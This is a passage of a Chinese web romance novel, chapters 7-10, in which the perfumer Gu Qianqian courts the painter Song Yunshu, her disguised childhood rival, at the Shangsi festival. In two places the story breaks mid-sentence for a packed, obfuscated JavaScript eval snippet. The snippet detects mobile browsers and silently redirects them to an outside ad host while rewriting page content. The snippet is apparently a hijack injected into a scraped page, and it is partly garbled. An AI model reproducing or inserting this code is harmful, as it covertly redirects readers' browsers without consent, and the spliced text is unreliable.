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从小到大,他被陛下派了任务不得已跟随顾千芊,小时候在明处被对方欺负折腾敢怒不敢言,长大了还得在得在暗处贴身保护,买她的香,救她的命,空有一身才情抱负不得施展,被困在这小小香阁当个憋屈的冤大头。 行了,眼下儿时仇敌重逢,必是分外眼红,待他表明身份,看在他救了她一命的情面上,得好好趁机损她一损。 还没等他组织好挖苦讥讽之言,就看对方眼睛一亮,随后羞涩激动的扑上前来—— “笑狐大大,我是你失散多年的铁粉啊!” 宋云舒:“……”差点把这茬给忘了。 他脸瞬间一黑,心头涌上一阵浓浓的不爽,很好,顾千芊,这才过去几年,你便将我忘的一干二净,站在眼前连认都认不出来的。 而我跟了你那么多年,怕是连化成灰我都能认出来! 这么些年的辛劳与时光,终究是错付了! 顾千芊不知对方心中如何风起云涌,声情并茂地表白了一番,两眼闪闪:“笑狐大大,从今往后,我不光是你的书粉,还是你的颜粉!” 小时候打赌的誓言争前恐后涌入宋云舒的脑海。 “恶棍!骚包!假惺惺的蠢书呆!” “我就是饿死,从高楼上跳下去,不嫁娶,也不会喜欢你!” “我呸!谁喜欢你,谁就是孙子!” 宋云舒心中不爽,也不想让别人好受,他心头突然涌现出一个恶劣的想法。 就且看着她的崇拜迷恋,溜须拍马,鞍前马后,岂不解气,等不久后真相大白,让顾千芊为童年的所作所为啪啪打脸,面上无光,懊悔不已,那时她的表情一定相当精彩。 真是想想都要笑出声。 于是宋云舒露出一个春风和煦的笑:“在下宋云舒,举手之劳而已,姑娘不必客气。” 我眼光真不错,男神好温柔! 不明真相的顾千芊面颊绯红,一脸陶醉状心满意足。 *** 顾千芊干劲十足,主动提出要为宋云舒泡茶。 焚香烹茶都是雅事,闻人倩素来爱茶,耳濡目染下,顾千芊虽然技艺不精,却也不是全然不会。 一旁随立的侍女却是欲言又止:这可是龙脑茶啊!龙脑产于三佛齐国,生于深山幽谷中的千年杉树,价逾黄金,民间有市无价。 这位姑娘看起来茶艺生疏,这么珍贵的香茶,少爷不怕被糟蹋吗? 她抬起眼,迟疑地看了宋云舒一眼。 却见对方绕有兴味,并未有让她停下的意思,便也不敢多言。 顾千芊确实是不精于茶道,顺序颠三倒四,动作乱七八糟,但最后,泡出来的茶香,竟也是沁人心脾,意犹未尽。 宋云舒心中暗忖,这就是妙香师对香味的敏感吗? 他细酌一口,满意地放下茶盏:“顾姑娘可知这是什么茶?” 顾千芊回道:“龙脑香茶。而且是梅花龙脑。” 龙脑香,其香为百药之冠。入药惟贵生者,状若梅花瓣甚佳也。 “其实泡茶和调香是一样的道理。” 顾千芊清了清嗓子:“茶叶就像是主料,水和火候等就像是辅料,只有当主料和辅料结合完美的时候,才能泡出芬芳的茶。” “调香也是如此。为何不同的人调出的香差异如此之大?那是因为每个人对香的理解不同,主料和辅料的配比不同,就会有不同的香效。只有真正用心理解香道的人,才能调制出上好的香。” 显摆结束,顾千芊眸中闪着细碎的光,如湖水中倒映的月牙:“我调香尚可的,宋少爷,寤寐阁还缺香师吗?” 7. 重逢(二) 顾千芊在同春酒馆同谢谣碰头,谢谣被她被绑一事吓得不轻,嘘寒问暖许久,提议去喝一场压压惊,顺便庆祝下顾千芊成为寤寐阁的调香师,顾千芊拍手叫好。 芜城南部人酿酒是一绝,造就了此地由古到今长盛不衰的饮酒之风,此处的酒艺不是三五莽撞大汉大口吃肉大碗饮酒的粗犷豪放,也不需脸红脖子粗的起哄喧闹道拼酒才是真英雄,饮酒为妙宗,鉴酒为雅事,注重的是一种情趣,一种物我相忘的享受。 顾千芊到了芜城才知道,原来饮酒与调香一般有这么多的讲究,譬如春饮宜庭,夏饮宜郊,秋饮宜舟,冬饮宜室,夜饮宜月啦;譬如最宜不过凉月好风,袂雨时雪,花开满庭,新酿初熟啦…… 在酒坊里时不时能看到垂髫的小儿有模有样着手最简易的青梅酒,一本记载古人品酒鉴酒论酒的《酒令撮要》差不多男女老少人手一本,洋洋洒洒看的顾千芊有点头晕,酒馆的大婶却能气不喘背上大半,总结芜城的酒文化实在盛哉。 酒楼食肆上的许多菜也与酒相关,比如她们点的黄酒醉鸡,酒糟五香鱼,酒酿丸子,还有据说是芜城有名的烈酒“九酝春”,开始她们两只是好奇,想这个最烈之酒该有多么冷艳高贵高不可攀,遂大步跨入酒馆利索的叫了两壶九酝春。 而好奇心什么的果然是个磨人的小妖精,自尊心作祟不肯放弃,顾千芊纠结着视死如归艰难的咽下火辣辣的一口酒,简直要热泪盈眶。 她喝了一口就放下酒杯,坚决不再续酒,因她晓得自己酒品不好,喝醉了容易犯蠢,这酒的烈性实在让她发怵。 谢谣酒量可怕,一边转过头鄙夷她,一边豪情万丈的干掉了她自己那一大壶的九酝春,开食肆的大婶许是少见有外来的姑娘,可以这么面不改色淡定享受地喝完一整壶酒,对谢谣大有好感,上前主动和她们打了个招呼:“你们这两个女娃是刚来芜城的吧?哎呦,可赶上上巳节喽,女娃娃这么水灵,保准能在上巳节找到心怡情郎呵。” 谢谣转过头问顾千芊:“上巳节是什么玩意儿?” 顾千芊咬了咬筷子:“三月三嘛,大概是什么游春赏花的节日盛会吧。据说还有抛花枝寄情的风俗,如果男子收下了姑娘送的花枝,就要陪那姑娘游玩一整天。” “什么乱七八糟的想法,现在那些春心荡漾的姑娘们太幼稚了,好好的一个曲水流觞的风雅日子被过成了情人节;八月十五中秋有传闻说要与情郎共度赏月才可圆满,也过成了情人节;元宵灯会各种情侣花灯套餐,差不多也被折腾成了情人节,真是,我看干脆连清明节都过成情人节好了。” 谢谣默了默:“喝了火辣的酒,你的嘴巴愈发毒辣了。” 顾千芊将谢谣的酒盏倒满,点点头:“好说,好说。” 这话匣子一开,就好似冷水爆进了油锅,食肆里感兴趣的不敢兴趣的纷纷都插上几句,有说杨柳苑歌姬柳依依的游春帐子照例是梅子青软烟罗,绣满了衔着嫩柳枝的黄莺鸟,同往年一样一见便知,可惜她素来心高气傲不屑会客,想要一览芳颜的不防以乐相邀去碰碰运气。 有道芜城十年前曾出了个姿容绝卓的美少年,可叹体弱多病,平时养在深闺不为人知,十年前上巳节时心血来潮外出踏青,不出不知道一出吓一跳,这一出秒杀了全芜城所有芳龄或大龄的未婚姑娘。 惊为天人的姑娘们也爱管不管先来后到了,一帮人轰轰烈烈如狼似虎的朝他身上抛花枝香囊,场面一度失控,有几个壮实火爆的争的面红耳赤几欲大打出手,娇弱的美少年哪经的起这么一吓,当场面色苍白吐出一口老血昏了过去。 后来美少年自被扛回家便再也未出过门,本来就吊着一口气,被惊惶折腾后虚弱的身体更是每况愈下,不出五年便因病香消玉殒,徒留姑娘们哀念相思扼腕叹息。 此事件后来以“看杀美人”为题记录在芜城八卦录中,十年过去还仍为世人感慨万千。 道出这段八卦的仁兄不紧不慢的喝了口茶:“鄙人当年也得幸一见,十年前那次上巳节可谓是盛况空前呐,不过,”他顿了顿,手指摩挲了会茶盏边沿,看了眼屏息等下文的众人,肃然道:“今年宋少不是在芜城么,我赌十壶九酝春,这记录可能要刷新了。” 顾千芊噗的将一口茶喷出来:“宋少?哪个宋少?” 有个和蔼的胖大妈感慨道:“看小姑娘都激动成这样了,还能有几个宋少,就是寤寐香阁的主人云舒少爷啊,俊秀又多金,哪个姑娘不喜欢。” “可巧不巧,正有个机会,”四周听八卦的纷纷停了筷子支起耳朵继续细听,见得道八卦的仁兄又不紧不慢喝了一口茶:“宋云舒的画技是一绝,芜城的樱景也是一绝,有小道消息说宋云舒近来兴致好,接下了相邀的帖子,上巳节当日会在明月楼上作画,画的正是城外翠微山上十里寒绯樱。” 大家不约而同的“哇”了一声,再次七嘴八舌炸开了锅,有说那城里车马肯定瘫痪了明天得挤成什么样子啊,有的捧着脸沉浸在难以置信的惊喜中道真的么男神真的要来了么,还有的两耳不闻八卦事一心专注喝酒道干我鸟事…… 顾千芊现在的脑袋似被轰了个炮仗,心头火星乱窜,她搁下碗筷,对刚又灌完了一壶酒正在陶醉大呼过瘾的谢谣道:“我们赶紧走吧。” 两人慢悠悠的往前走,夕阳将影子拉的很长,落日的橘黄色晕染在过路几株刚探出嫩芽的老树,野雀们叽喳喳在树上欢腾展翅。 谢谣八卦之魂觉醒,一路熊熊燃烧:“坊间果然趣事多,可惜我们一直在山疙瘩长大没见过世面,那个宋云舒可是个出了名的万人迷,我们不妨去相思楼围个观凑个热闹。” 顾千芊心不在焉点点头。 谢谣兴致勃勃的咂舌:“相传他总是神龙见首不见尾,为他风姿倾心求一面之缘的姑娘们是揉碎了一地的玻璃心;相传他出名前寥寥几笔的涂鸦也被叫卖到万金,这年头果然是长的帅就有市场,真真是蓝颜祸水……” 顾千芊满脑子心事没空搭理她,谢谣意味深长的咦了一声,眯起眼睛:“自听到宋云舒的名字你就一直表情恍惚的颓着,你不是说他是你救命恩人是从小的男神吗……暗恋万人迷的姑娘能围着整个芜城绕上好几圈,你不会,现在打算开排到队尾了吧?” 顾千芊老脸一红,握着缰绳的手一抖。 她在谢谣狐疑的目光下故作镇定的稳住了身子,咳了一声:“啊,想必是方才酒喝多了有些头晕,我们赶紧走,找个客栈歇会儿。” “欲盖弥彰。世人牵强或过激的敷衍反应,往往都来掩饰自己内心的害羞。”谢谣啧啧几声,摆了摆手:“在我的火眼金精下无处遁形,坦白从宽抗拒从严,你无权保持沉默。” 顾千芊别过脸,内心挣扎了一会儿,毕竟还是个情窦初开的小姑娘,心事被姐妹一句戳穿略有些不好意思,得欲拒还迎的先否认几句,于是红着脸违心道:“你别乱说,我年纪还小,还不想谈恋爱。” 谢谣慢悠悠的嗯哼了一声,淡定的,鄙视的,缓缓道:“有人喜欢拿年纪小当借口,就好像她真的成熟后能懂得多少道理一样;有人拿不想谈恋爱当借口,就好像想谈恋爱了会有多少人追求她一样。” 她装模作样的叹了一口气,从路边扯 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难得有了实战供咨询的对象,谢谣从她的一大堆闲书里搜出《攻略宝典》,此小册洋洋洒洒记载了勾搭的各类方法及其对比难易优劣,上面还详细标明了各类技巧的成功率和经验感言,被封为套路书中的战斗书。 谢谣哗啦啦翻动册子,语重心长的扯了一大堆勾搭时的注意事项,说这勾搭也是一门学问,本质上来说分软搭和硬搭两种。 软搭就是要扮小娇羞,比如丝帕半遮面“今日这天气是极好的”“这位少爷看起来似曾相识”等上前聊开话题;舍不得孩子套不着狼,装不了柔弱追不到郎,或是在对象必经的路上设个自编自导的苦情戏码,想看到娇弱的少女被恶人欺负,难免能激起身为男子义不容辞的保护欲,到时一救二谢三来四往,顺水推舟相知相熟,攻略的进度就已成了大半。 至于硬搭,脸皮要厚心肠要黑,顾千芊谢谣两人曾在常青山下的村镇街头见过活生生的例子,匆忙低头走路的外来送货小青年,不慎碰到了多年待嫁的老姑娘曹黑胖的手臂,当场被黑胖拉住大喊非礼啊要负责啊,休要狡辩胳膊拧不过大腿啊,难不成你揩了油众目睽睽之下要开溜啊。 小青年一脸震惊郁闷,说大婶啊我的大腿都没你胳膊粗啊你太夸张了吧,曹黑胖两眼一瞪,对着围观的群众振振有词,你看他都知道我胳膊比他腿粗了那肯定是摸过我的胳膊了,未嫁女子的清白不能污,既被你摸了,老娘只好勉为其难嫁给你了。 黑胖之逼婚无耻,小年青之倒霉凄惨,看的周围的观众唏嘘不已。 谢谣手舞足蹈滔滔不绝,顾千芊精神亢奋,心中翻江倒海。 晚上顾千芊难得失眠,躺在床上辗转反侧,无聊到翻了会街头买的少女床头读物,她按了按不规则跳动的心口,突然恍悟了哪里不太对。 难道自己真和书中的女主一样,情窦初开了,坠入爱河了,深陷相思了? 怪只怪男神太优秀了。 不夸张的说,宋云舒浑身上下都符合自己喜欢的类型,就和她当年痴迷画本《乾坤诀》中痴情男二青莲公子一般,俊雅少爷风度翩翩,会画画又温柔,善良的英雄救美,而且还是她最爱的画本作家,不倾心实属眼拙。 顾千芊和所有情窦初开的姑娘一样,忧郁的看了会窗外弯弯的月亮,然后扯开被子将自己脑袋蒙住,长吁短叹的莫名烦恼:他喜欢画画,谈吐优雅彬彬有礼,约摸着是喜欢温婉闺秀一类的姑娘。 可惜自己是个力能扛鼎的糙汉。 顾千芊想到这不由哀怨叹了一声,当初怎么就没想到顺水推舟为了报恩以身相许呢?失策,太失策了。 8. 上巳(一) 芜城最高楼是城西的明月楼。 谁家今夜扁舟子,何处相思明月楼。 明月楼有个家喻户晓的传说。 芜城有名的才女相思,性子恬静淡泊,因才名与美貌身边不乏郎君追逐示好,但她一直心如止水,不起波澜。 十八岁那年的上巳节,她在桃林抚琴时顺着一阵奇香踏入一场香境,偶遇一俊雅公子,两人琴箫相和十分投缘,畅谈乐理许久,她已不觉倾心。 男子并未久留,只留下一句“早闻姑娘芳名,他日会登门拜访。” 只为这一句称不上誓言的约定,素来明理清冷的相思竟固执地坚守等了下去,一年,两年,三年,不顾他人的碎语,婉拒好友的劝慰,深居简出,每日黄昏时会登上明月楼遥望远方,那是他离去的方向。 直到第五年。 相思如往日一般登上明月楼远望等待,待到明月高挂时,空中浮动异香,天幕中遥遥的飞过来一只仙鹤,仙鹤上坐着一个清俊非凡的青衫公子,正是她心心念念的那人。 青衫公子眉间含着笑意,问相思愿不愿意跟他走,她点点头只坚定握住他的手,两人便如画卷古籍中的潇洒仙侣一般,骑着白鹤翩翩然离开了明月楼,徒留明月楼下的凡人感慨惊叹。 这段明月楼上的等待与相思就此流传了下来。 有人说相思是因为幻香术误入仙境,那青衫公子是偶经芜城的仙人,虽倾心于相思,却不愿因私心将她拉离三千凡尘,那句改日本是遗憾的道别,却不想相思竟执着地等了下去,她既不忘他,他也定不能负她,才有了五年后那为人惊艳的清影仙鹤相迎。 不是所有相遇的结局都是完美,这世上有多少人都在马不停蹄的错过,所幸这传说的结局是让人艳羡的。 明月楼下装修华美的酒肆里传来悠扬动人的琴瑟声响,明月楼旁云锦居里的绫罗绸缎令人眼花缭乱,明月楼下有四角悬着铃铛的精致马车骨碌碌的打街而过。 而这十里锦绣烟罗中最风流不过的,是明月楼上清雅如画的白衣少年,墨云纹的淡蓝衣衫外,着一袭宽大飘逸的白色风袍,隐约瞧见那淡色的唇微微勾起,下颌的弧线光洁俊秀。 寤寐阁近来无事,宋云舒近来心情好,他应了前辈相邀,来这相思楼里作画。 他站在桌前,按住一边下滑的袖子,露出来的手握着毛笔,手指修长而指节分明。 他轻抬画笔微匀了些绯色的墨,素白的宣纸上寒绯樱悄然发芽,开花,凋零,流淌的墨迹迷乱人眼,胭脂,酡颜,茜色,或深或浅或浓或淡,每一笔都恰到好处的生动晕开,画的正是翠微山寒绯樱春季时的盛景。 画中的花朵妍丽,枝叶芊芊,在他的笔下,枝叶恣意张扬延伸,更添几分清奇;寒绯樱更是栩栩如生,不注意看会以为它们真的在旋转飘落。 不过一朵悠悠的柳絮随风入窗的功夫,画转眼已成大半,宋云舒指间的画笔尚在轻盈挥逸,着墨晕渍开寒绯樱林画景图上最后的点缀,朦胧的青色远山,隐入山中偶露一隅的寺钟,寺钟上空翩翩离去的飞鸟剪影。 他放下笔,唇角抿出一抹清淡的笑,表情闲适的像是漫步庭院时,拾一朵初谢的花。 明月楼上雅士云集,顾千芊和谢谣也混在其中,见此美人美景,顾千芊一脸花痴状,正待上前捧场,突然听到人群中传来一阵哄闹。 两人顺着喧闹的方向抬眼望去,明月楼东南门前停了辆马车,车前的帷幔是梅子天青软烟罗,上面绣满了黄莺衔着嫩柳枝的纹路,拉开帷幕的是一双修长莹白的柔夷,从马车上走下的女子身姿绰约,若柳扶风,步步生莲。 踏上明月楼的女子松松绾着飞仙鬓,墨如鸦羽般的黑发间别了一支典雅的玉簪花,红的唇,细的眉,还有目光流转间浑然天成的清丽,杨柳苑的花魁歌姬柳依依,果真是如传闻一般的绝色佳人。 修长的手腕伸出来,皓腕凝霜雪,指尖握着一条翠色的柳枝,柳枝上系着一只小巧玲珑的鹅黄色香囊。 她眼波柔柔看着台上的宋云舒,清泠泠的声音似碧山流泉:“久闻宋少大名,奴仰慕已久,不知宋少今日是否得空,陪奴于上巳节赏游呢?” 四周陡然安静,明月楼内众人或惊讶或艳羡的目光纷纷投来,只见宋云舒搁下画笔,起身上前几步接过柳枝,轻轻一笑。 “既是柳姑娘相邀……本少甚幸。” 顾千芊本来想等宋云舒画完画,就约他一起逛夜景,现下只能不甘地看着一对璧人走远,她耷拉着脸,悻悻而归。 *** “原来你在这里发呆啊。”透过梧桐木交错枝叶的缝隙,顾千芊看到谢谣正站在树下,眯起眼睛向她招了招手。 顾千芊奇道:“你怎么知道我在这里?” 谢谣撩起裙子,跃跃欲试要爬上来:“我还不了解你,以前住在常青山时,你郁闷时也会一个人爬到树上一声不吭。”随即招招手:“快下来啊,不下来我爬上去拽你了啊。” 已近黄昏,梧桐树下一大片蜀葵被晚霞染上了一层艳丽的锦边,夜风融融,隐约有丝丝凉意。 顾千芊前脚刚着地,手已被她拉住,她摸了摸顾千芊被风吹的有些翘起来的头发,指了指摇晃升空的熠熠发光的孔明灯,豪情满怀:“大好的节日,干嘛在这里伤春悲秋,走,没了汉子咱自己找乐子,带你玩儿好玩儿的去。” 顾千芊想想也是,她伸了个懒腰,勉强打起了精神。 一进内城,才知道这上巳节的夜晚有多热闹,与天上的孔明灯交相辉映的,是安庆门外几十丈高的依次亮起晴彩的灯树,素绢,彩绸,羊皮、犀角的材质上绘制或镂雕着珍花异兽、瑶池仙家的姿影,样式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107043|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇巧百出,在灯火明灭间绰约幻变,翩然欲飞。 明月楼下的相思河旁围了一群闺秀小姐,手举着莲花灯,将心愿写在花笺薄纸上放入灯中,再看着那一盏盏莲花灯顺着河水流走。 芳龄少女清丽的欢声笑语遥遥飘来,偶尔经过一个俊朗的年轻公子,有个姑娘在同伴的推搡鼓励下,红着脸颤巍巍的递上手中的海棠枝,引来身旁一群少年少女的起哄笑闹。 这就是少女们的爱情啊。 肆意欢闹敢爱敢恨,会为了喜欢的人大胆抛开矜持羞涩上前,会为了不切实际的莲花灯心愿思忖苦恼上半天。 谢谣白了顾千芊一眼,递给她一枝寄着银色铃铛的桃花,抱怨道:“别感慨了,即便心思糙了点,你勉强也算个姑娘,花开堪折直需折,不要等别人都折光了你再去捡剩下的,这花枝拿好,天涯何处无芳草,瞧见个顺眼的芳草就献出花枝吧。” 顾千芊愤怒回敲了她一记:“什么叫勉强也算个姑娘!?” 锦绣汇成的人流向不同方向慢慢移动着,悬挂着金线流苏的摊位上有会摇头晃脑的泥面人,彩绘的小巧空竹,一字排开的各种妖兽或神仙的桧木面具。 时不时窜出几个举着风车追打的孩子,欢呼笑闹,撞到了好几个行人,又哈哈大声一笑蹿的没了影子。 走了不知多久,对面的人群一拨一拨的涌来,谢谣兴高采烈的从一个摊点逛到另一个摊点,等顾千芊从发呆中回过神来,才察觉两人已经走散。 抬眼望去,四周除了吵闹嚣张的小鬼,最常见的就是一对对浓情蜜意的情侣在秀恩爱,男的似芝兰玉树,女的似萝蔓轻缠,小鸟依人的靠在随行的男子身上,脸上含着甜蜜的笑意。 四周只有自己是孤家寡人一个,顾千芊揣着满兜的吃食,抬眼看了会同病相怜的月亮,颇有些欲说还休的闲愁滋味。 想到了宋云舒,估计他早就陪着柳依依月上柳梢头,人约黄昏后,顾千芊不由酸溜溜的叹了一口气。 人生在世不如意,今朝散发买买买。 顾千芊晃晃荡荡从西市逛到东街,期间买了一个一捏就会阴阳怪气大笑的人偶,一个画着诡异符号的八卦锁,还有个金色花蕊的睡火莲花灯。 走到一个卖木面具的摊子,摊主热情的招呼她上前挑拣,她来了兴致正待细看,周围突然蹿出一个人,“啊”的一声大叫,狰狞的妖魔面具伸出长长的獠牙,铜铃大的血色眼眸骤然盯着顾千芊,带妖魔面具的怪人阴恻恻冷笑,压低了声音:“打劫!若想活命,速速交出钱来!” 顾千芊被这一惊一乍魂都吓飞了一半,她第一反应是谢谣的恶作剧,于是淡定的屈起手指,狠狠的弹了一计对方的脑袋:“幼稚!你多大了?” 将面具推到额角,露出一张俊秀面庞,顾千芊瞪大了眼睛,竟是……宋云舒?! 9. 上巳(二) 宋云舒当年在常青山时,曾被顾千芊半夜拿骷髅面具吓个半死过,此后他便对面具这东西有了心理阴影,一直咬牙切齿想着有朝一日能吓回来。 刚他看到顾千芊落单,背影颇有些萧瑟凄凉的味道,条件反射起了捉弄的心思,手比脑子快,等幼稚的恶作剧结束,面对顾千芊一脸懵逼震惊的表情,才反应过来,他现在可是温润如玉的男神人设,在看够顾千芊为他鞍前马后崇拜仰慕的狗腿模样前,他的人设不能崩。 于是他只得尴尬的清了清嗓子,装作关切道:“咳咳,顾姑娘你怎么在街上发呆?一脸忧郁心不在焉的模样,看中的漂亮面具被别人抢走了?” 他恢复了先前那般温柔端庄的表情,笑容无懈可击。 宋云舒拿起一个呆面熊模样的桧木面具扣在顾千芊脸上,看着她傻愣愣的蠢样,心情大好:“这个面具挺适合你的,送给你了。要是我晚到一会儿,这个呆熊面具就被一个拖鼻涕的小鬼抢走啦。” 他弯下腰,将顾千芊方才松手掉落在地的桃花枝捡起来,递给她。 顾千芊看着叮玲做响的花枝心念一转,神思陡然清明,她赶紧细细回忆,就在一柱香的功夫之前,谢谣教她的,那见了心怡的芳草献上花枝的开场白是什么来着? 怎么说才显得相邀顺水推舟不失情趣让人无法拒绝呢? 还没纠结完,就看到她心怡的芳草正打算将花枝重新递给她,顾千芊情急之下脱口而出:“你要不守信用啊?” 话刚说完就觉得自己似乎有些无耻。 “哦?”宋云舒握着花枝的手顿了顿,挑眉:“请问本少是何时不守信用了?” 顾千芊觉得她还可以再无耻一点点:“上巳节的规矩呀,你既然拿了我的花枝,不是应该陪我游玩的么?” “这个……”他哑然失笑,没有立刻回答,似乎在斟酌用词,还没等顾千芊期盼到理想的答复,就听得明月楼上乍然响起少女娇柔柔的尖叫,莺莺燕燕的吵闹声不休,手握花枝的锦衣姑娘们探出了半个身子在窗外,有人惊喜道:“是云舒少爷!” 有人雀跃道:“赶紧抛花枝呀!” 还没等顾千芊回过神来,纷纷扬扬的各色杏花枝桃花枝海棠枝从明月楼上抛落下来,一个散落的香囊嘭的砸到顾千芊的脑袋上。 蓦然想到那个看杀美人的八卦,要是这群如狼似虎的女人要霸占宋云舒,万一宋云舒和那红颜薄命的美少年一样体弱吐血,还记得曾有一个正直英伟的男子在上巳夜后生生被逼成了断袖……想到这儿她身子一抖,赶紧攥着宋云舒的手急急抄小路落荒而逃。 呼呼的风声响在耳畔,眼前的景物流水一般迅速向后倒退,急急跑进一个偏僻的落满烟花碎屑的小径,躲入一处安全的拐角。 听得身后一串追来的美人笑闹惊呼声已隐约淡去,顾千芊终于松懈下来,停住喘了一口气,苦瓜脸的呆面熊面具还半扣在脸上,方才奔跑时压着汗湿的额头不大舒服,她抬手转了个面,索性将它松松挂在脖子上,突然意识到她的手仍旧紧紧攥着宋云舒…… 后知后觉脸唰的一红,讪讪干笑一声,赶忙松开。 被她这么莫名其妙连托带拽的跑了好一段路,宋云舒颇为君子的配合她干笑一声,脸不红气不喘,故意问:“你这么急匆匆的拉我到这里,是有何事?” 顾千芊理直气壮叉着腰:“我这是好心救你于水深火热之中,难道你想以一人微薄之力陪几百号如狼似虎的姑娘们游城赏景?你也不想想,她们方才看你的眼神有多可怕。” 她顿了顿,壮着胆子又加上几句:“再说了,凡事都讲个先来后到。你先收了我的花枝,按理就得先陪我。白日里你接了柳依依的柳枝,不也陪她游了一会儿夜景么?”语罢挺着胸膛目光炯炯看着他。 宋云舒慢悠悠的从头到尾打量她一眼,再慢悠悠的一笑:“你的意思是,接了花枝就必须陪姑娘游玩?不过,还有个规矩,不是芜城本地人就不大讲究这个,若是没有闲暇或不大情愿,完全可以拒绝。” “我之前从未在上巳节接过花枝,陪着柳依依姑娘,也只因她前几日费劲心思帮我寻得了古画《早春图》,算是承她个人情。” 顾千芊突然转头,直直盯着他问道:“柳依依是不是很美?” 宋云舒似笑非笑,装作没看到顾千芊眼中射出的箭,摸了摸下巴正色道:“不错。是个少见的美人,不但温柔婉约,且画技也不俗。” 顾千芊冷哼一声道:“听说只有那些思想幼稚、性格软弱的男孩子才会迷恋年纪比自己大的女人。” 宋云舒笑着,心中暗爽:“说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107044|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对,只有思想幼稚的孩子才喜欢跟人抬杠。” 顾千芊:“……” 宋云舒有些得意:“一来我现在没空,二来我又不欠你人情,你说,我为何要陪你游玩呢?” 轻轻一摇桃花枝,花枝上系着的铃铛叮铃做响,他手腕一翻,疑惑的看了顾千芊一眼,随即噗嗤一笑:“原来你……” 其实方才顾千芊就已经灵机一动,备好了万全之策,趁宋云舒没注意,桃花枝上被她洒了特殊胶粉,黏性很强,如果不是用她独家秘制的药物清洗,那花枝就拿不下来。 顾千芊小心眼的打算道,以后也不知道有没有机会,总得让他陪她一会儿。 见他哭笑不得的眄过来,顾千芊赶紧将双手相背在身后,若无其事的抬头望天,意思是你看着办吧反正我不打算接回来,再次觉得自己确实很无耻。 若干年后,某佳郎君被某姑娘抛花枝粘住勾搭成功的传闻传的沸沸扬扬,用胶粉威胁这一招被彻底发扬光大,导致了上巳节姑娘们手中的花枝基本都做了特殊处理,抛出去就收不回来;导致了美少年们都害怕被当做活靶子砸成花下冤魂,从早到晚躲到家中不敢出门;也导致了此后在明月楼前晃荡的都是歪瓜裂枣…… 不过,那已经是很久以后的事了。 顾千芊把刚买的睡火莲花灯送给他,以表自己大方,厚着脸皮道:“这个莲花灯很漂亮,咳咳,就送、送你当见面礼啦。” 不远处人群里传来阵阵欢呼,原来是这上巳节夜的烟花已放到了高潮,蓦地一声响,满天流光星火中,绽放了一朵硕大无比的璀灿牡丹,镶金边的艳红花瓣一层层绽开,刹那又湮灭于夜幕之中,在那一瞬照的街市上的景物轰然一亮。 如烟花般层层炸开的莫名欣喜刹那间溢满心头,顾千芊按捺下咚咚直跳的心脏,面上装得淡定摘下挂在脖颈上的呆熊面具,盖在他脸上肃然道:“这个面具也送你,你戴上这个安全点,免得走在路上那么招蜂引蝶惹麻烦。” 宋云舒好笑地抬手将面具拨到额角,顾千芊转过头,破罐子破摔,索性眨眨那一双清澈无辜的水眸,拉着他的袖子撒娇:“云舒哥哥,带我去逛逛?” 走在喧闹的街道,宋云舒轻轻扶额,有些懊恼,仍想不通那一瞬为何失神,竟鬼迷心窍地答应了她的请求。 10. 上巳(三) 宋云舒一抬头,一张放大了的俏丽面庞溢满了视线,顾千芊拿着两盒糕点,伸手递给他嘱托帮忙拿着,噙着笑看着他。 “出来游玩,你却在这里不解风情的发呆,喏,云舒哥哥,跟牢了哦,你就在后面帮我拿东西吧。” 她语气调侃,明艳活泼,让宋云舒将原本脱口而出的拒绝,又硬生生咽了回去。 暮色渐浓,街上仍是喧嚷如潮。繁花千树,灯火万家。整条街市望过去,竟似白昼一般。 两个人一前一后走在街上,穿梭于摊上高高挂起的流苏饰物与精致花灯,看着舞榭不息的酒楼舫肆中那一角绯艳的衣裙,红牙拍板的妙龄少女清歌晏晏,巧笑倩兮几乎要醉了人去;茶馆内有文人墨客诗歌相颂,以文会友;沿湖有不少稚儿欢呼着折纸船放花灯,一派热闹喜悦。 “哇,那边有河灯!”顾千芊耐不住性子,一个人跑到河边桥下,睁大眼睛看着一群小孩子放船灯。 纱灯船影,隐隐光亮映在湖面,清风徐来,美得不似人间。 其实只不过是普通的纸叠成的大纸船,纸船的正中放上了一只小蜡烛,顾千芊向放河船的小姑娘要来了一张纸,蹲在桥下笨拙地折起来。 宋云舒好奇:“你在做什么?” 顾千芊仰着头道:“我在折纸船。” “时候不早了,我们还是早些回去吧。” “不嘛。”她的倔性子上来,一次折不好就摊开来重新做,大有毫不罢休之意。 宋云舒揉了揉额角,看着她笨手笨脚再次将白纸细细摊平,叹了一口气,伸手拿过那张纸,无奈道:“算了,我来。” 顾千芊出乎意料的顺从,在一旁看着他,夸道:“原来少爷除了画画和经商,竟还会这个,少爷真厉害啊!简直是万能耶!” 虚荣心受到满足,宋云舒对她的赞美很是受用。 本来只想做个简陋的小船敷衍下,宋云舒临时改了注意,十指翻飞,比画樱景图时还专注,折了个双层的玲珑元宝船递给她。 他眼神发亮盯着我的期待模样,好像一只摇着尾巴等夸奖的狗子哦,顾千芊腹诽。 顾千芊从宋云舒手中接过纸船,雀跃得像个孩子,咧嘴一笑,露出两颗俏皮的小虎牙:“少爷好棒!这纸船真好看!” 她小心翼翼的捧着,将它放入水中,看着它顺着水流缓缓而下,突然猛的一拍脑袋:“哎呀!我刚刚忘了放蜡烛进去了,那许的愿是不是就不灵了?” 